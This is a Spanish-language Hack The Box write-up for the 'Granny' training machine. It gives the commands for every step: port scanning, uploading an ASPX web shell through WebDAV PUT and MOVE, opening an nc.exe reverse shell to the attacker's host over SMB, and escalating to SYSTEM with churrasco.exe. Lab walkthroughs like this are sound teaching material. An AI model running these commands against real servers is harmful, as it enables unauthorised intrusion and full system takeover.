Inicio Granny - HTB Writeup
Entrada
Cancelar

Granny - HTB Writeup

Granny es una máquina de dificultad Easy en la plataforma Hack The Box

En esta máquina explotaremos una vulnerabilidad Webdav que nos permitirá llevar a cabo un RFI (Remote File Inclusion)

Reconocimiento

Utilizaremos la herramienta nmap para listar los puertos abiertos en la máquina víctima:

1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.15 -oG allPorts

img

Vemos que esta el puerto 80 abierto.

Vamos a realizar un escaneo de servicios y versiones corriendo por este puerto:

1
nmap -sCV -p80 10.10.10.15 -oN versions

img

Gracias al conjunto de scripts básicos de reconocimiento que aplica el escaneo, podemos ver los tipos de peticiones que se pueden realizar en el servidor, además de que en el puerto 80 se ha detectado un Webdav además de un IIS (Servidor web que maneja solicitudes HTTP y HTTPS)

Si entramos en la web no vamos a ver nada relevante, ni que podamos usar:

img

Explotación

Vamos a aprovechar una vulnerabilidad de Webdav que nos permite mediante curl subir archivos a la máquina víctima

Para ello vamos a intentar subir una web shell (cmdasp.aspx)

Primero copiaremos la web shell en la ruta actual

1
cp /usr/share/webshells/aspx/cmdasp.aspx ..

Posteriormente subiremos la web shell a la máquina víctima con curl:

1
curl -s -X PUT http://10.10.10.15/cmdasp.txt -d @cmdasp.aspx

Subiremos el archivo en formato .txt ya que no podremos en formato .aspx

Una vez el archivo ya subido aprovecharemos el metodo MOVE para cambiar la extensión de la web shell y poder ejecutarla:

1
curl -s -X MOVE -H "Destination:http://10.10.10.15/cmdasp.aspx" http://10.10.10.15/cmdasp.txt

Utilizaremos la cabecera Destination para modificar el archivo

Ahora si accedemos al archivo tendremos una shell en la que podremos ejecutar comandos:

img

Para conseguir una reverse shell nos copiaremos al archivo actual el nc.exe

1
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

Utilizaremos impacket-smbserver para establecer una conexión por smb y así poder compartir el archivo nc.exe con la máquina víctima

1
impacket-smbserver smbFolder $(pwd)

Por otra parte en la web shell ejecutaremos el siguiente comando para compartirnos una shell mediante nc.exe

1
\\10.10.14.5\smbFolder\nc.exe -e cmd 10.10.14.5 443

A su vez en nuestra máquina nos pondremos en escucha por el puerto 443

1
rlwrap nc -nlvp 443

Y como vemos habremos conseguido acceso a la máquina:

img

Pero no tendremos acceso a los usuarios de la máquina por lo que no podremos ver las flags

Escalada de Privilegios

Para listar los permisos del usuario ejecutaremos:

1
whoami /priv

img

El permiso que nos interesa es SeImpersonatePrivilege

Este permiso es único en Windows, y permite a un usuario o proceso hacerse pasar por otro usuario o proceso

Si buscamos sobre la escalada de privilegios explotando este permiso nos llevará a https://github.com/Re4son/Churrasco/raw/master/churrasco.exe y descargaremos el ejecutable churrasco.exe (xd)

Utilizando el impacket-smbserver compartiremos el ejecutable con la máquina víctima

1
impacket-smbserver smbFolder $(pwd)

En la máquina víctima nos moveremos a C:\WINDOWS\temp y en esta ruta usaremos el comando:

1
copy \\10.10.14.5\smbFolder\churrasco.exe churrasco.exe

Y una vez copiado ejecutaremos churrasco.exe

1
2
3
churrasco.exe

/churrasco/-->Usage: Churrasco.exe [-d] "command to run"

Vemos la función del ejecutable, por lo que intentaremos conseguir una shell como root, así que deberemos usar nc.exe:

1
churrasco.exe "\\10.10.14.5\smbFolder\nc.exe -e cmd 10.10.14.5 443"

Y de nuevo nos pondremos en escucha con nc por el puerto 443:

img

Y ya tendremos acceso a la máquina como usuario privilegiado

Podremos ver ambas flag en el Desktop del usuario y del administrator

Espero que os haya gustado y servido, cualquier comentario es de mucha ayuda. Adios!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.